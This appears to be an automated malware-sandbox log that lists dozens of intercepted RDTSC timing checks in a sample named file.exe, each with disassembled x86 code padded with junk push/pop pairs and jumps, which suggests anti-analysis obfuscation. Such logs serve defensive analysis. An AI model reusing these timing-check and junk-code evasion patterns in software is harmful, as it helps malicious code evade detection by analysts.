Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862BAA second address: 862BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F654CE0FA06h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862BB8 second address: 862BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862D25 second address: 862D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F654CE0FA14h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F654CE0FA06h 0x00000016 jbe 00007F654CE0FA06h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862D50 second address: 862D5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862EE3 second address: 862EFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F654CE0FA0Ch 0x00000008 jnp 00007F654CE0FA06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F654CE0FA0Ah 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862EFF second address: 862F0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F654C734E56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862F0A second address: 862F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F654CE0FA0Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 863E1E second address: 863E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F654C734E56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 868DA4 second address: 868DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 868DAF second address: 868DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007F654C734E56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 868DBB second address: 868DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F654CE0FA06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 868DC9 second address: 868DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 868DCD second address: 868DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F654CE0FA06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 879862 second address: 87988E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F654C734E67h 0x0000000d jmp 00007F654C734E5Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 886B91 second address: 886B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F654CE0FA06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 886B9D second address: 886BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 886BA1 second address: 886BAB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F654CE0FA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8886EC second address: 8886F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8886F1 second address: 888703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 888703 second address: 888712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 888712 second address: 888716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 888716 second address: 888722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8888AC second address: 8888B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8888B2 second address: 8888C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E63h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8888C9 second address: 8888EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F654CE0FA0Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8888EC second address: 888903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F654C734E61h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A08E6 second address: 8A0913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA10h 0x00000009 popad 0x0000000a jmp 00007F654CE0FA10h 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F654CE0FA06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A0D04 second address: 8A0D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 js 00007F654C734E56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A0D12 second address: 8A0D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA15h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A0E8D second address: 8A0E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A0E93 second address: 8A0E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A104C second address: 8A1050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A1050 second address: 8A1062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F654CE0FA06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A1062 second address: 8A1066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A3F1E second address: 8A3F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A4081 second address: 8A4086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A4174 second address: 8A417E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A417E second address: 8A4182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A4182 second address: 8A41DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ecx 0x0000000e jmp 00007F654CE0FA0Bh 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F654CE0FA0Bh 0x0000001d mov eax, dword ptr [eax] 0x0000001f push edx 0x00000020 push ecx 0x00000021 jmp 00007F654CE0FA19h 0x00000026 pop ecx 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F654CE0FA0Bh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A443C second address: 8A4442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A564E second address: 8A5652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A5652 second address: 8A5656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A5656 second address: 8A5672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A5672 second address: 8A567B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A567B second address: 8A5687 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F654CE0FA0Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A5687 second address: 8A56AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E64h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F654C734E5Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A56AA second address: 8A56C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F654CE0FA13h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A56C5 second address: 8A56E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ah 0x00000007 js 00007F654C734E56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F654C734E56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A56E3 second address: 8A56E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A6F32 second address: 8A6F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A6F38 second address: 8A6F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnc 00007F654CE0FA06h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A6F4C second address: 8A6F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A8DC6 second address: 8A8DD0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654CE0FA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A8DD0 second address: 8A8DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8A8DDA second address: 8A8E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F654CE0FA14h 0x00000008 jmp 00007F654CE0FA17h 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B8456 second address: 7B845A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B845A second address: 7B846C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B846C second address: 7B8470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B861A second address: 7B8634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B8634 second address: 7B865D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jp 00007F654C734E56h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7034F second address: 4E70353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E70353 second address: 4E70359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E70359 second address: 4E70399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F654CE0FA0Ah 0x0000000b sbb ax, 6438h 0x00000010 jmp 00007F654CE0FA0Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov edi, eax 0x0000001d jmp 00007F654CE0FA10h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E70399 second address: 4E703B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E703B5 second address: 4E70400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 08BBBCA4h 0x00000008 pushfd 0x00000009 jmp 00007F654CE0FA0Dh 0x0000000e and ch, FFFFFFE6h 0x00000011 jmp 00007F654CE0FA11h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F654CE0FA18h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E70400 second address: 4E7040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7040F second address: 4E70417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E70417 second address: 4E7045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007F654C734E5Ch 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 jmp 00007F654C734E60h 0x00000016 mov ecx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F654C734E67h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7045B second address: 4E70473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0472 second address: 4EA0478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0478 second address: 4EA0571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e jmp 00007F654CE0FA16h 0x00000013 xchg eax, esi 0x00000014 jmp 00007F654CE0FA10h 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F654CE0FA11h 0x00000021 sub ax, E5B6h 0x00000026 jmp 00007F654CE0FA11h 0x0000002b popfd 0x0000002c mov si, 77A7h 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 jmp 00007F654CE0FA0Ah 0x00000037 lea eax, dword ptr [ebp-04h] 0x0000003a pushad 0x0000003b push ecx 0x0000003c pushfd 0x0000003d jmp 00007F654CE0FA0Dh 0x00000042 or esi, 6D0FD1C6h 0x00000048 jmp 00007F654CE0FA11h 0x0000004d popfd 0x0000004e pop esi 0x0000004f pushfd 0x00000050 jmp 00007F654CE0FA11h 0x00000055 adc cx, AB26h 0x0000005a jmp 00007F654CE0FA11h 0x0000005f popfd 0x00000060 popad 0x00000061 nop 0x00000062 pushad 0x00000063 mov cx, BEF3h 0x00000067 popad 0x00000068 push eax 0x00000069 jmp 00007F654CE0FA14h 0x0000006e nop 0x0000006f pushad 0x00000070 push ecx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0571 second address: 4EA0580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push dword ptr [ebp+08h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0606 second address: 4EA0645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654CE0FA11h 0x00000009 or eax, 4348C216h 0x0000000f jmp 00007F654CE0FA11h 0x00000014 popfd 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b je 00007F654CE0FA5Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0645 second address: 4EA0654 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0654 second address: 4EA066C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA066C second address: 4EA0670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9000C second address: 4E90031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F654CE0FA0Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90031 second address: 4E90035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90035 second address: 4E9003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9003B second address: 4E90041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90041 second address: 4E90083 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F654CE0FA0Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F654CE0FA15h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90083 second address: 4E9018D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F654C734E5Eh 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 movzx ecx, di 0x00000016 mov ax, dx 0x00000019 popad 0x0000001a call 00007F654C734E59h 0x0000001f jmp 00007F654C734E65h 0x00000024 push eax 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F654C734E67h 0x0000002c jmp 00007F654C734E63h 0x00000031 popfd 0x00000032 call 00007F654C734E68h 0x00000037 pushfd 0x00000038 jmp 00007F654C734E62h 0x0000003d jmp 00007F654C734E65h 0x00000042 popfd 0x00000043 pop eax 0x00000044 popad 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 jmp 00007F654C734E5Eh 0x0000004e mov eax, dword ptr [eax] 0x00000050 jmp 00007F654C734E5Bh 0x00000055 mov dword ptr [esp+04h], eax 0x00000059 jmp 00007F654C734E69h 0x0000005e pop eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F654C734E5Dh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9018D second address: 4E901EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 4E154DBFh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F654CE0FA0Dh 0x00000015 adc ch, 00000046h 0x00000018 jmp 00007F654CE0FA11h 0x0000001d popfd 0x0000001e movzx esi, di 0x00000021 popad 0x00000022 add dword ptr [esp], 278FDDB1h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F654CE0FA16h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E901EE second address: 4E9025E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 jmp 00007F654C734E5Dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr fs:[00000000h] 0x00000014 pushad 0x00000015 mov al, E8h 0x00000017 push edx 0x00000018 mov eax, 198500DBh 0x0000001d pop esi 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F654C734E5Ah 0x00000027 xor ch, FFFFFFA8h 0x0000002a jmp 00007F654C734E5Bh 0x0000002f popfd 0x00000030 movzx ecx, bx 0x00000033 popad 0x00000034 mov dword ptr [esp], eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F654C734E5Ch 0x00000040 xor ax, 7108h 0x00000045 jmp 00007F654C734E5Bh 0x0000004a popfd 0x0000004b mov ax, AB7Fh 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9025E second address: 4E90264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
